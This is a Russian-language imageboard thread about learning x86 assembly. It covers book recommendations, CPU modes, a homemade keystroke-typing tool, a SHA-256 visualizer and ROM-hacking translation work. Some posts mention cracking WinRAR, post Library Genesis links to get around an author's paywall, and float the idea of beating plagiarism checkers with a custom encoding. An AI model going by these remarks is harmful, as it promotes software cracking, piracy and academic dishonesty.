Аноны, а есть в x86 (или иных ISA), условного вызова функции? Т.е. в той же x86 было бы что вроде callz funct если zf=1, вызываем funct.
Очевидно, что было бы сложно передавать параметры явно, но в многих ситуациях это было бы архиудобно, разве нет?
145 2273553
>>273552

>что-то вроде условного вызова функции?


фикс
146 2273555
>>241525 (OP)
нахуй ты из шапки всю литературу повыкидывал?
147 2273577
>>273555
Новая шапка в ОП-пост не влазила, поэтому вынес в блог.
148 2273584
>>273577
понял. спасибо
149 2273648
>>273266

> книгку по ассемблеру x86



Assembly Language Step-By-Step by Jeff Duntemann

Modern X86 Assembly Language Programming: Covers X86 64-bit, AVX, AVX2, and AVX-512 by Daniel Kusswurm

> Только что дочитал книгу Эндрю Танненбаума про операционные системы



А Танненбаум значит для нюфань? По ОС есть гораздо более годная книга. Ну например вот: https://www.amazon.com/Operating-Systems-Three-Easy-Pieces/dp/198508659X

Как кто-то сказал. Классика это то что все советуют но никто никогда не читал.
150 2273666
>>273266
>>273648
А вообще читать все эти книги по ОС и Сетям впрок, с непонятными целями смысла нет. Все повыветривается. Хотя может быть у тебя феноменальная память.

>>273266

>ну я с\с++ хорошо знаю


Уверен?

Learn C the Hard Way если что, годная. Не для нюфань (хотя цели у нее вроде такие) а так, чтобы вспомнить все
151 2273675
>>273648

>А Танненбаум значит для нюфань? По ОС есть гораздо более годная книга. Ну например вот


Спасибо, анон. А есть годные замены Таненбаума по архитектуре компьютера и сетям для ньюфань?
152 2273691
>>273675
Блин, нет, нечего сходу посоветовать. Я такую литературу читаю когда надо понять как работает вот конкретная какая то штука. Обычно это какая то конкретная отдельная глава.

Но чтобы весь том, взять и просто прочитать, непонятно зачем так изъебываться. Для галочки только если.
153 2273780
>>273691

>Я такую литературу читаю когда надо понять как работает вот конкретная какая то штука. Обычно это какая то конкретная отдельная глава.


А мне тут сказали, что перед тем, как приступать к С++, нужно сначала знатно почитать про ОС, сети и архитектуру компьютера, и посоветовали Таненбаума. А тут смотрю, что знающие люди этого не читали, и спокойно практикуют. Я тут подумал - может, сразу пойти в синтаксис и производные, а вся CS-теория приложится по ходу?
16247109357700.mp4307 Кб, mp4,
1272x776, 0:14
154 2274025
Взял вебмку от анона из прошлого треда. Что он делает? Я так понял он устройство ввода поменял в системе что у него в блокнот как только он туда кликает вводится одна и та же фраза из какого-то файла? Что он примерно сделал?
155 2274212
>>273780

> Я такую литературу читаю когда надо понять как работает вот конкретная какая то штука


Более того, никто техническую литературу от корки до корки никогда не читает. Это тебе не Нейромант какой нибудь.

Ну прочитал ты за 2 месяца книгу которая рассчитана на год в универе. Ну красавчик. А понял хоть что нибудь? Ну, в голове что нибудь отложилось?

> А мне тут сказали, что перед тем, как приступать к С++, нужно сначала знатно почитать про ОС, сети и архитектуру компьютера



Здесь на дваче посоветовали? Или на ответах мейл ру и прочих хабрах?

Те кто это советуют, сами на эти книги убили очень много времени и пользовались когда надо было. Раньше, я тебе напомню, вообще советовали программирование начинать изучать с Кнута и на ассемблере.

На reddit'ах, quora'х и на всяких медиумах да даже в блогах крутых датасайентистов с PhD
, нигде никогда подобных советов не видел. Короче что я хочу сказать ... Продвинутые европейцы и загнивающая америка практикуют нисходящий подход к обучению. Анализируй это.

Бля, на английском языке ежегодно выходит огромное количество классных книг по самым разным темам. Которые никогда на русский переведены не будут. Потому и Танненбаум, потому что английский у этих людей ну максимум A2 :D
156 2274254
>>274025
Прога перепечатывает символы из txt-файла.
Screenshot330.jpg94 Кб, 632x311
157 2274271
>>274025
Смысл в том, что в проге при нажатии F8 выполняется оконная процедура перепечатывания символов из txt-файла. Но так как эта процедура внутри этой проги, то и перепечатывать она будет пытаться в прогу. Но, если сделать окно проги поверх всех окон, потом сделать активным окно куда надо перепечатывать, а потом с зажатой F8 просто мышкой переместить фокус на окно проги, то всё работает.
158 2274295
>>273666
Ну хрен его знает, я бы не сказал, что Танненбаум это что-то сложное.
Это просто книги-введение в которых описывается много, но не очень глубоко, но в то же время достаточно, чтобы получить общее продставление о работе сетей, ОС, ЭВМ.
Алсо, нужно совмещать теорию и практику. Тебе ничего не мешает читать и писать код одновременно. Такие языки как Асм, Си - это простые языки, там учить практически нечего, но чтобы что-то написать на них, необходимо разбираться в предметной области, поэтому нужно и читать книги и получать практический опыт одновременно.
159 2274339
>>274295
Да дело не в сложности а в бесполезности.

Есть более ориентированные на практику книги на эту тему. При этом в которых объясняется все тоже самое. От компьютер сайентистов, а не от профессора получившего степень по физике в 1970х. Или даже 60х.

Просто Таненбаум овер разрекламирован у нас. Как раз за счёт того что это чуть ли не единственная книга по фундаментальным вещам, переведенная на русский.

А вообще Таненбаум получил такую широкую известность особенно после публичного срача с Торвальдсом. Когда он вдруг решил что Торвальдс делает всё не правильно и давай его поучать.

Что до предметной области, лично меня интересует reverse. Кто вообще сейчас пишет на асме, я тебя умоляю.

Ты кстати случайно не писал ничего на основе этих книг? Интересно даже.
downey.jpg47 Кб, 500x404
160 2274354
>>274339

>лично меня интересует reverse


>Кто вообще сейчас пишет на асме, я тебя умоляю.


Жирно
161 2274356
>>274354
А где связь между писать что то большое на асме и читать его, в переешку с автокоментами и декомпайлеров в ida или гидре.

WinRar так по приколу когда начинал поломал.
162 2274363
С другой стороны ты прав конечно. Такие книги как practical malware analysis ведь надо как то читать и никто не спорит что асм знать необходимо, но писать на нем что то большое уже не приходится.

C необходим не менее
163 2274387
>>274356
Связь есть, только я не знаю как правильно объяснить - в инструменте написанном на асме можно вставить пометку в виде какой-нибудь ненужной команды, типа ret. Потом в отладчике ставить там брейкпоинт и уже руками поправлять данные, если что-то пошло не так.
Как бы можно даже до конца не дописывать этот инструмент.
164 2274398
Как бы лучше интеграция человека и кода который нужно поломать, вот.
165 2274526
>>274271
спасибо, анон я из того что ты написал процентов 20 понял, но всё равно спасибо. сохранил пост на будущее потом перечитаю с уже другими знаниями может быть пойму

>>274254
именно перепечатывает то есть подаёт как события от нажатых клавиш с клавы или просто копирует из файла?
166 2274556
>>274271

>Но, если сделать окно проги поверх всех окон, потом сделать активным окно куда надо перепечатывать, а потом с зажатой F8 просто мышкой переместить фокус на окно проги, то всё работает.


Почему так нахуй? Активное окно же поменялось и перехват всех событий должен идти туда соответственно(ну кроме всяких контрл альт плюс делит)
167 2274572
>>273648

>Assembly Language Step-By-Step by Jeff Duntemann


Спасибо, анон. Скачал, буду читать.
168 2274574
Поясните а чём такая проблема с запуском программ разной разрядности на одном процессоре? Ну я вот не понимаю.

У меня только с моим уровнем знаний есть догадка что типа допустим есть процессор с регистрами на 32 бита и тут идёт код от программы 16 битов и он рассчитан на 16 битные регистры и получает что типа инфа которая предназначена длял двух разных регистров на 16 бит записывается как инфа для одного регистра на 32 бита и в этом типа проблема и программ предстаёт некорректно. Это верно?
169 2274610
>>274574
на x86 можно переключать режимы, даже есть эмулятор реального режима.
170 2274619
>>274610
да это я знаю, я не говорю о возможности переключения режимо я имею в виду конкретно почему 16 битная программа не может выполняться на голой 32 архитектуре без режима совместимости? я правильно понимаю что потому что потому что программа на 16 бит рассчитана на регистры 16 бит а не на 32?

ну типа программа на 16 бит на 16 битном процессоре записывала 2 регистра по 16 бит. а на 32 битном без режима совместимости она значения из двух разных регистров пишет в 1 32 битный регистр и поэтому программа становится некорректной для проца типа?
VKкодыКлавиатуры.jpg99 Кб, 1280x304
171 2274636
>>274526

>именно перепечатывает то есть подаёт как события от нажатых клавиш с клавы


Да.
>>274556
Хз. Баг?
Там просто наводишь курсор, если в это время не нажата F8, то выход из процедуры. Получается что активное окно остаётся в блокноте, а прога считывает F8 и начинает печатать в активное окно - блокнот.
172 2274638
>>274636
Ну ты великий конечно, анон
173 2274657
>>274638
Ибо нехуй сtrl+v убирать
174 2274683
>>274212
Спасибо, анон. Только я не понял - как думаешь, нормально будет сразу начать ковырять плюсы, и в процессе или даже после читать теорию, или твоя мысль в том, что все равно лучше изучить основы перед языком, но по более практичным книгам, в т. ч. на ангельском?
175 2274719
>>274683
Нахуй ты его слушаешь. Он хуйню городит, ты читать должен книги и у тебя в голове будет откладываться многое, даже если практики не будет это я по себе знаю. Потому что в книгах тупо показывают различные решения и способы фичи которые у тебя в голове откладывают типа "ага можно вот так сделать" и когда на пратике ты с чем-то сталкиваешься у тебя уже подсознательно в голове много вариантов всплывает что и как гуглить.

Я на одной работе был там такой же чел был который говорил что читать ни нужно а только делать это по мере необходимости, ну и он короче был нелпохим спецом т.к. на практике многим занимался, но у него были такие элементарнейшие проёбы уровня когда нужно было множество однотипчных команд уровня "create file 001 create file 002 ... create file 090" сделать он их брал блядь вставлялт в текстовый редактор, копировал там потом как-то менял там цифорки и копировал этот огромный текст назад в консоль. вместо тупо цикла с переменной.

и чел ещё баш кстати знал.

Вот и всё, а если бы он не ленился и тупо бы книжку хоть раз глазами пробежал хоть одну по программированию он бы такой бред не лепил.

Так что если чувствуешь что хочешь читать то читай и хуй забей, ты когда читаешь у тебя конечно идеально в голове ничего не останется без практики, но основы будут и база, читай про всё: компляторы, ассемблеры, архитектуру и похуй что никогда практики не будет для общего понимания хорошо крайне хорошо знать в общих чертах как всё устроено.

Знаешь в общих чертах == когда на практике что-то нужно будет сделать у тебя в голове много вариантов потенциальных будет и ты в разных направлениях копать будешь
176 2274735
>>274719

>элементарнейшие проёбы уровня когда нужно было множество однотипчных команд уровня "create file 001 create file 002



Пиздец помотала тебя жизть анончик, сочувствую

>>274719
Я говорил конкретно про Таненбаума, дурака кусок. Конечно читать надо. Кто сплотит то.

Я вот конкретно сейчас читаю вот это:

https://www.goodreads.com/en/book/show/32686074

https://www.goodreads.com/book/show/39695630-learning-malware-analysis

И было ещё дофига всего, за все время.

Надо быть совсем уж конечным еблабаном, чтобы говорить что книги не нужны. Не знаю где ты в моем сообщении это углядел.
177 2274743
>>274735
А ну да извини я заебланил, я просто увидел твою фразу про техническую литературу вначале и не сразу сообразил что ты про документацию говоришь подумал что раз в контексте у вас книги обсуждались то ты про книги сказал.

Всё ок.
178 2274758
>>274574
Пишу в тред обучения одного залётного нуфага всем тредом.

Между 16bit/IA-32/AMD64 есть некоторые отличия в наборе команд и в кодировании инструкций. Если попытаться исполнить коды из неподходящего режима/расширения, то довольно быстро исполнение упадёт с каким-нибудь исключением (выборки/декодирования или исполнения инструкции).
179 2274760
>>274758
Спасибо тебе большое, анон. Да ты угадал здесь я одна ньюфаня которая уже месяца 2 как окопалась в вашем тредике и задаёт тупые вопросы. Не пропадайте.
180 2274762
>>274758
А ведь 32битный режим обратной совместимости или как он там в 64 называется он ведь не равен оригинальному x86?
181 2274788
>>274760
Ой да ладно тебе, будто что-то плохое.

Главное что не фуллстэк вротендер, лол)

Кстати а тематический чатик в дискорде почему еще не создали? Англоязычный на тему асма то у меня и так есть, но всё-таки.

Или он нахуй никому будет не нужен?
182 2274799
>>274788
Да уж. Не быть вротендером в 2К22 - уже само по себе большое достижение.
183 2275006
>>274719

>элементарнейшие проёбы уровня когда нужно было множество однотипчных команд уровня "create file 001 create file 002 ... create file 090" сделать он их брал блядь вставлялт в текстовый редактор, копировал там потом как-то менял там цифорки и копировал этот огромный текст назад в консоль. вместо тупо цикла с переменной.


Так а при чем здесь книги? Эту хуету в любом курсе по программированию для начинающих расскажут. Кирпичи Таненбаума такого не вылечат.

>>274683

>нормально будет сразу начать ковырять плюсы, и в процессе или даже после читать теорию


Конечно. Тебе сейчас иксперты двачерские насоветуют, блять, кирпичами Таненбаума себе голову расшибать или наворачивать его суррогаты, просто, чтобы начать кодить. Даже в вузе у нас были сначала кресты, а потом уже архитектуры ЭВМ всякие, ОС и прочее. Забей на эту хуйню, даже не факт, что она тебе понадобится.
184 2275011
>>275006
Никто и не говорит что если человек занимается вебом или геймдевом или тупо любое другое рпикладное по пишет что он должен обязательно знать о компляторах, ассемблерах и архитектурах, но если ты с системным программированием связан то это обязательно. Ковырятся-ковырятся и ещё раз ковырятся, архитектуры, как работают шины, драйвера, ядра осей, компиляторы, отладчики, то-си боси хуй на троссе это необходимо просто.

А если ты в геймдеве или вебе сидишь то понятное дело что это не пригодится.
185 2275144
>>275011
Так он голые плюсы хотел, а это не равно системное программирование. Ими внедряют тот же машин лернинг в продакшн, в алгоритмическом трейдинге с ними ебутся и т. д. Там по большому счету излишний дроч на архитектуры, ядра, компиляторы и сети просто не нужен, ни в виде Таненбаума, ни в виде суррогатов.
И уж не думаю, что у вкатыша в системное программирование возникнут такие вопросы - там как раз более чем очевидно, что весь этот кал жрать придется по долгу службы.
186 2275180
>>275144
А понял. Ну да ты прав, с++ ещё в геймдеве используют. А так конечно если системное программирование тот там упор на си больше делать надо даже нежели на цпп, ну ассемблеры само собой, хотя они так часто нужны как си но всё же без никуда ето база.

а ещё ведь нужно знать устройство bios\uefi всяких, об этом тоже книжечку нужно будет почитать у них ведь наверняка какие-то свои api есть
187 2275181
>>275180

> ну ассемблеры само собой, хотя они так часто нужны как си


Не так часто нужны как си
188 2275230
Фигасе тут срач начался

>>275011

>архитектуры, как работают шины, драйвера, ядра осей, компиляторы



А я говорил, что по всему этому существуют более доступные аналоги (и ссылки были, и на ОС и на построение интерпретаторов и компиляторов, с реализацией. А в книге по ОС с псевдокодом на Си), чем сухой Таненбаум и Книга Дракона, просто у нас имена этих авторов не разрекламированы всякими профессорами из университета и мин. обром.

Поэтому, самое главное, что перво непременно необходимо это английский. Хотябы B1-B2. И для тебя целый новый дивный мир откроется.
189 2275231
Короче анонче ты прав, вот
190 2275268
>>275230
Какие нахуй архитектуры, компиляторы, ОС и сети, если человек попросил голые плюсы, а они ему, может, нужны для какого-нибудь банального эффективного машин лернинга в продакшене, например. Ему по факту ни Таненбаум, ни его суррогаты не нужны, вот и все. Сыр-бор загорелся из-за этого.
191 2275271
>>275268
Ну да да я понял. Мне просто слово суррогаты не понравилось. Как будто все кроме Танненбаума шлак. Нет анонче, ты не прав.

А вообще да, срач уровня JS тредов.

ЗЫ Я вообще сюда сейчас зашел чтобы сказать как же меня бесит синтаксис ассемблерных вставок в GCC. Почему не сделать что то вменяемое как в Visual C++ блять.
192 2276061
Я правильно понимаю что в этом треде под x86 понимают не 16 битный ассемблер, а именно IA-32 32битную версию x86?
193 2276152
>>276061
x86 это семейств архитектур, начиная от i8086 заканчивая ia32
194 2276371
>>276152
А понял спасибо, то есть x86 это много архитектур. А почему семейство? Что их объединяет? А что различает?
195 2276547
>>276371
Потому что x64 это тоже самое что и x86, только с 64-битными регистрами, но это наёб человечества маркетолухами, 64-бит это очень большие числа, ими оперировать сегодня нет необходимости. Вот их и разделяют.
Ещё есть другие архитектуры, risc там итд, можно ваще самому замутить свою архитектуру.
другой анон
196 2276550
>>276547
Да я не настолько ньюфань, знаю что другие архитектуры есть, просто не могу разобраться чётко во всех этих многочисленных версиях x86.

Ну почему на x64 процессоре есть длиный режим для выполнения 64 битных программ и 32битный режим совместимости для 32 битных программ.

Но почему-то винда 98 на процессорах 86-64 козлит, хотя 2000ая например нет, но архитектура то у них заявлена одинаковая IA-32
197 2276694
>>276550

>Но почему-то винда 98 на процессорах 86-64 козлит


Из-за скорости современных процов.
198 2279670
Завтра начинаю кодить.
199 2280241
>>279670
Что?
200 2280448
>>273648
Спасибо большое анон, щас читаю первую книгу которые ты посоветовал ассемблер степ бай степ, очень годно. Читаю без пропусков, автор вначале уже про системы счисления и память дополнил многие проблемы которые у меня был, сразу видно что ему реально интересно как всё работает до самой сути, годно, годно.
201 2281277
>>280241
Надо запаковщик доделать. Чтобы запаковывал до указанного размера. Со следующей недели начну.
16211785000680.png789 Кб, 583x565
202 2282467
Сяп. Асмач, а какие конвенции вызовов использовались в эпоху 8088/8086 ? Тупа всё пушилось в стэк задом-наперёд, или конвенции как таковой вообще не было?
111.mp411,1 Мб, mp4,
606x1280, 4:49
204 2287431
>>274025
https://dropmefiles.com/NHUaw
Так как я за гласность. Решил выложить исходники, там на английский и русский язык. Прога не умеет менять раскладку, так что за этим нужно следить самому. Внизу исходника бонус, можно вставить в окно проги нескучную картинку.
Ну... можно легонечко потролить недоммо всякие, в которых нет ctrl+v.
Наташа with love
205 2287434
Забыл
DeskPins - мастхэв
206 2288251
>>287431
Спасибо за исходники, программа от создателей видео где спамится "СДОХНИ ФОШЫСТ". Может потом скачаю

Алсо, я ньюфаня вкатывающаяся, щас книгу читаю по асмам IA32 так вот у меня вопрос если процики поддерживают обратную совместимости то почему на виртуал боксе стабильно не работают нормально винды которые ниже 2000? Почему 98 ещё в процессе установки на вб выдавала кучу ассемблерных инструкций, хотя платформа у неё ia32 как у 2000 и как у xp но те нормально эмулируются.

Почему досовские окна конфликтуют с современными процессорами?
207 2288281
>>288251
Конфликтуют и конфликтуют, чё бухтеть то?
У тебя какая цель? Зачем тебе эти знания?
208 2288284
>>288251
Ты пробовал замедлять vb?
209 2289330
>>241525 (OP)
Как скачать книгу Дениса Юричева Reverse Engineering для начинающих? Раньше она открывалась по адресу https://beginners.re/RE4B-RU.pdf а теперь ссылка не работает. Английская версия тоже не скачивается. Остальные скачиваются нормально. На лоре один юзер написал, что якобы нужна авторизация чтобы скачать по этой ссылке. Что это вроде как испытание. Если сможешь одолеть, то скачаешь. Кто нибудь в курсе как скачать?

https://beginners.re/main.html
211 2289422
>>289398
Спасибо, но это я видел. Это старая версия.
212 2289505
>>289422
А какая сейчас последняя?
213 2289720
>>288251

>программа где спамится "СДОХНИ ФОШЫСТ".


Тут комент сам напрашивается, но я не стану.
214 2289729
>>288281
Интересно как это работает.

>>288284
Не знаю что такое вб к сожалению, но мне кто-то здесь уже говорил что это связано с тем что процессор слишком быстрый для винды. А у меня вопрос а не похуй ли винде на его скорость? Ну быстрый и быстрый какая разница 10000 инструкций выполняются за 0,25 секунды или за 1 секунду. Чем это влияет то?
215 2289732
>>288284
наверное под vb ты виртуалку имеешь в виду. а что её можно замедлить? ты имеешь в виду выполнение самого приложения вб замедлить или что?
216 2289736
Я вот помню игра дальнобойщики 2 на современных(по тем меркам) системках запускала и там графика очень быстрой была, приходилось запускать в нагрузку браузер или офис какой-нибудь чтобы нагрузить систему и игра работала нормально. Ну ошибок не было, не понимаю как быстрота выполнения приложения может вызывать в нём ошибки и сбои.

Ну хотя с виндой 98 у меня вырисовывается уже предположение насколько я помню ошибка вылетатла во время установки на стадии обнаружения устройств, plug and play и вот это всё возможно оно слишком быстро выполнялось и система не успевала сконнектится с оборудованием от него же нужно сигналы согласования получить и т.д.
217 2289757
>>289729
VirtualBox подумал что ты на нём играешься.

>А у меня вопрос а не похуй ли винде на его скорость?


Я бы сначала проверил, может похуй, а может и нет. Если память не изменяет, то 98 винда у меня работала на VMWare, а для 95ой я замедлял скорость проца. Или я вообще всё придумал.
218 2289763
>>289732
Тактовую частоту проца.

>В VirtualBOX есть ползунок, где вы можете настроить% хост-процессора, который может использовать гостевой процессор. Такой процент относится к каждому ядру.


>В VirtualBOX нет способа симулировать многоядерность с разными скоростями на каждом ядре, только один слайдер для всех ядер.


>Установка ползунка на 50% приведет к тому, что гостевые ядра будут работать на 1/2 ядра хоста (основы для каждого ядра).


>Так что, если у вас есть дека-ядро (10 ядер) на хосте и три ядра на гостевом (три), и вы хотите, чтобы гостевая частота работала на X МГц, а хост - на Y МГц, просто проигнорируйте количество ядер, чтобы вычислить процент.


>Формула будет: процент = 100 * X / Y>>289732

219 2289807
>>289763
мерси как-то не заметил.
220 2290106
>>289505

>А какая сейчас последняя?


Ну хотя бы 2021 года же.
221 2290247
>>289763
Шта? Ничего не понял.
222 2290300
>>289330

>Что это вроде как испытание.


https://beginners.re/paywall/
Вроде был просто пейвол (первое время даже в крипте), башляешь пару баксов и держи ссылку - что там лысый еще придумал с этой конторой Torus Company, хз
223 2291008
>>290106
>>290300

Бля, я бы заплатил этот несчастный доллар но я на патреоне заблокирован сам не понял как так вышло

Так на либгене есть издание 17 октября 2021 - http://libgen.is/search.php?req=Dennis Yurichev&column[]=author

И на русском от 27 ноября 2020 - http://libgen.is/search.php?req=Денис+Юричев&open=0&res=25&view=simple&phrase=1&column=def
224 2291270
Байтаны, кто рубит в sha256 - помогите плиз разобраться.
Нашел на реддите визуализатор генерации этого хеша - sha256algorithm.com, круто сделано интересно/наглядно и вроде бы все ясно, но.. Захотелось пощупать как генериться дайджест для длинных сообщений (для которых пришлось бы нарезать несколько 1024 битных чанков) и тут затыка:
- на первом прогоне хэши H(0) стандартные, согласно RFC:
H(0)0 = c1059ed8
H(0)1 = 367cd507
H(0)2 = 3070dd17
H(0)3 = f70e5939
H(0)4 = ffc00b31
H(0)5 = 68581511
H(0)6 = 64f98fa7
H(0)7 = befa4fa4
- при проходе последнего слова в чанке мы обновляем эти h0, h1,h2 и т.д. складывая первоначальные значения с временными переменными (выделено на пик 1)
- генерим следующий чанк (формируем/ксорим/сдвигаем данные как положено) и вот для него по идее должны быть проинициализированы уже новые (сформированные ранее сложением) h0, h1,h2 и т.д. но вместо них для меня непонятно откуда взявшиеся значения (выделено на пик 2)
- самое интересное при проходе последнего слова в новом чанке можно увидить ожидаемые h0, h1,h2 и т.д. сформированные ранее (выделил на пик 3)
Короче вопрос, откуда взялись Initial hash value's со второй картинки?
---
Если что, искомая строка в HEX режиме:
0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
image.png445 Кб, 1926x1220
225 2291272
>>291270
Пардон, первый пик должен был быть другой, макака что-то сожрала
226 2291314
>>291008
Спасибо за суету
image.png427 Кб, 2690x1526
227 2291489
>>291270
>>291272
Вчера уже совсем запутался, наделал ошибок:

>нарезать несколько 1024 битных чанков


512 конечно же

>H(0)0 = c1059ed8


это из спек для SHA-224, для SHA-256 значения другие
но на том сайте все инит хэши корректные
---
Основной вопрос пока без ответа, как для второго блока был получен этот h0 со значением 96 43 A0 E7 учитывая, что в конце предыдущей итерации h0 был расчитан как BA 5C DF 6C (причем это значение используется в конце второй итерации, когда приходит время обновлять хэш значения), а сама эта ситуация повторяется и в третьей итерации, и четвертой?
228 2291607
Я уже не знаю..
В википедийном псевдокоде и сишной реализации из openssl никаких дополнительных действий с инит хэшами не нашел..
Как будто в этом визуализаторе есть расхождение в актуальных значениях и тех, что он отображает в блоке Working variables
VPrus.mp423,3 Мб, mp4,
640x480, 2:57
229 2291628
Сделал ещё кусочек.
230 2292323
>>291628
Что это?
231 2292392
>>292323
Результат пятилетнего байтоёбства.
http://console-forum.com.ua/cf26/valkyrie-profile-dh-th28.html
Оказалось что есть перевод диалогов ещё с 2008-го, осталось только запихнуть их в игру.
И остался один важный вопрос - как мне к ним добираться в игре чтобы потестить?
16239243758612.mp414,1 Мб, mp4,
960x540, 0:59
232 2292395
Есть идея. А что если вырезать персонажей из игр?
image.png28 Кб, 864x206
233 2292412
>>291607

>Как будто в этом визуализаторе есть расхождение в актуальных значениях и тех, что он отображает в блоке Working variables


ЗиС
Автор поправил
234 2292810
>>273648

>Assembly Language Step-By-Step by Jeff Duntemann


ещё раз спасибо тебе, анон. Читаю её сейчас уже на 6й главе очень много годной инфы помама ассемблеров узнал, люблю когда авторы заходят издалека и много сторонней инфы подают за это люблю Танненбаума и вот этого автора Джефа Дунтемана, спасибо, годная книга не перестаю радоваться от чтения.

Как с ней завершу перейду к твоей книге по 64 битам.
235 2292935
>>292392
Все пять лет писал?
236 2292938
>>273648

>Классика это то что все советуют но никто никогда не читал.


Кстати, да, очень точное высказывание.
237 2292941
>>273266

>дочитал книгу Эндрю Танненбаума про операционные системы


>>273648

>by Jeff Duntemann


У этого Джефа Дантмана есть интересная книга: Learning Computer Architecture with Raspberry Pi. Может кому интересно будет. Меня заинтересовало, почитаю.
Screenshot347.jpg446 Кб, 875x688
238 2292961
>>292935
Сидел итт.
Если что, в 010 Editor можно свою кодировку делать, это похоже единственный редактор с такой фичей.
239 2292969
>>292961

>Сидел итт.


Понятно, а насчет видео не понял. Это игра или что? На ассемблере?

>010 Editor


Купил лицензию?

Мне надо подтянуть знание архитектуры PC. А значит ассемблер Но не знаю как практиковать. Чтобы такое на нем написать?
240 2292979
>>292969

>Это игра или что?


Перевод игры Valkyrie Profile на Sony Playstation.
Ромхакингом займись. Начни переводить.
241 2292992
>>292941
Спасибо, но какой смысл про компьютерную архитектуру читать если про неё уже читал книгу от других авторов, разумнее будет почитать про какие-нибудь компляторы или отладчики про то что ещё не знаешь.

У меня в планах после книг по ia32 и 86_64 почитать про отладчики, компляторы. Потом хотелось бы таненбаума про компьютерные сети навернуть и ещё почитать про всякие bios'ы и uefi про их структуру. Потом русиновича было бы неплохо навернуть про устройство шинды.
242 2292994
А кстати антиплагиат невозможно обмануть просто тупо создав свою кодировку с другими цифровыми кодами.

Ну типа в обычной кодировке A это 64, а в твоей это Допустим 2, но визуально выводится как А.

Потому что антиплагиат я так подозреваю анализирует текст фотометрически, то есть анализирует его как изображение путём распознания, так что кодировку менять бессмысленно, системку на наебать.
243 2293158
>>292979

>Ромхакингом займись


Впервые услышал это слово. Игры под консоли писали на ассемблере? Для меня это новость. Тема интересная. Спасибо за подсказку.

>Начни переводить.


Переводить что?

>Перевод игры Valkyrie Profile на Sony Playstation.


У меня нет Sony Playstation. Поэтому не будет мотивации.

>>292994

>антиплагиат


Ты какой антиплагиат имеешь ввиду? Есть инфа по теме как определять плагиат в текстах? Есть идея создать веб-приложение для проверки уникальности текста.
244 2293164
>>292992

>какой смысл


Как знаешь. Я просто нагуглил ее когда гуглил книгу по ассемблеру того же автора. Мне показался подход изучать архитектуру через одноплатник интересной. Много ли ты понял из книги Таненбаума по архитектуре? x86 очень сложная архитектура. Без практики сложно ее понять. Заучить просто так нельзя, не будешь понимать. Практиковаться сложно, не везде можно залезть руками с помощью ассемблера. В общем это как изучать устройство ДВС по книге, не имея возможности залезть в него руками. Очень абстрактные знания. Мне кажется с одноплатниками проще, там ARM, который считается чуть ли не эталоном инженерных достижений.

>У меня в планах после книг по ia32 и 86_64 почитать про отладчики, компляторы.


Хочу написать компилятор.
245 2293443
>>293158

>Игры под консоли писали на ассемблере?


Ты охуеешь, но всё писали на ассемблере.
246 2293449
>>293443
Да, ну, только для кастомных систем вроде приставок или каких-то микроконтроллеров, где ресуров хуй да нихуя. Большие системы почти всегда были построены вокруг компиляторов более высокого уровня. Юникс, cp/m и т.д.
InsideReality.mp414,3 Мб, mp4,
1200x1200, 5:07
247 2293451
>>293449
У тебя каргокульт зашкаливает. Выключай или не сможешь в asm.
248 2293457
>>293164

>Хочу написать компилятор



вперед: >>271534
Screenshot348.jpg119 Кб, 584x689
249 2293462
Пасхалка? или шиза?
Такая кодировка в игре, зачемто буква T стоит именно там и точка в конце тоже.
250 2293464
>>293462
И 31 пробел
251 2293480
>>293462

>The it must broken


Ну что вы, Бэтмены? Почему это случилось только сегодня?
252 2293624
>>293443
По каким материалам можно изучать как создавать графические приложения на ассемблере? Сколько смотрел оглавления книг, везде только про сам язык. Поэтому никогда не было мотивации его изучать, так как не знал что на нем можно делать. Хочется еще научиться работать с сетью на асме. Еще понять как на нем пишут компиляторы и как в него компилируется код.
253 2293632
>>293457
Спасибо за подсказку. Дело в том, что почитав вскользь разные книги, статьи и руководства, на нашел в них кратких ответов на общие вопросы. Из-за этого пропадала мотивация читать полностью и выполнять задания. Нет объяснения общего устройства компиляторов. Компоненты компилятора отличаются ли от компонентов интерпретатора (как я понял почти нет, как минимум в обоих случаях есть парсер). Ну и всякие другие простые вопросы. Мне это нужно для формирования общей картины. Уж так устроен мой мозг, я мыслю образами. Если образ не сформирован, то мне ничего не понятно.
254 2293637
>>293457
Еще мне непонятно как работает компилируемый код. Во-первых непонятно во что обычно компилируют код. В ассемблер ли, или в машинный код может, или еще во что-то. И непонятно как он исполняется. Пишут ли для него какой то рантайм и если да, то как работает этот рантайм, зачем он нужен.
j2NfpXtmCvQ.jpg44 Кб, 460x345
255 2293728

>The1tma5br0kn

256 2296266
>>292969

>Чтобы такое на нем написать?


Нужна заготовка, чтобы при считывании символов с экрана в программе срабатывал "скрипт". Сам скрипт не нужен, нужна заготовка от начала считывания символов, до начала срабатывания скрипта. Не важно как они появились на экране, если они есть - срабатывает скрипт.
257 2297507
>>296266
а как это "симовлы на экране"? Наскоьлко я знаю в линуксе есть stdout стандартный с дескриптором файла 1 который отправляет вывод на экран, ну это же вроде пиксели отрисовывает всё разве не? Сами символы то навеное где-то в памяти сидят, врядли монитор и видеокарта что-то знают о симовалах, они скорее пикселы тупо отрисовывают
258 2297514
А что может быть причиной rom ошибки в bios? Ну я так почитал про неё это не соответствие контрольных сумм. Это что неудачная перепрошивка могла быть или что? Это же рид онли мемори, она переписывается только в случае перепрошивки.
259 2297543
>>297507

>они скорее пикселы тупо отрисовывают


Кстати, да. Для начала можно скопировать видеопамять со словом ВОРОНА в файл. Посмотреть как оно там располагается, скорее всего у разных видеокарт по разному. Потом прописать условие для поиска с разными шрифтами там и т.д. Это первое что пришло в голову.
260 2297546
>>297543

> Потом прописать условие для поиска с разными шрифтами там и т.д.


Бред. Это нерешаемая задача. На разных разрешениях символы всегда будут выводиться по разному, на разных шрифтах, на разных сглаживаниях.

Это сработало бы только в алфавитно-цифровых режимах видеокартны, обычно с адреса 0xb8000, если не использована другая страница. Но сейчас алфавитно-цифровой режим видеокарты используют разве что фрюниксы до старта Икс-сервера. Да это и то это не факт. Точнее, уже лет 15 как эмулирют его и в графический режим переключается ещё начальным загрузчиком.
261 2297555
>>297546
Это и не должно быть универсальным решением. К слову.
262 2298126
>>297546
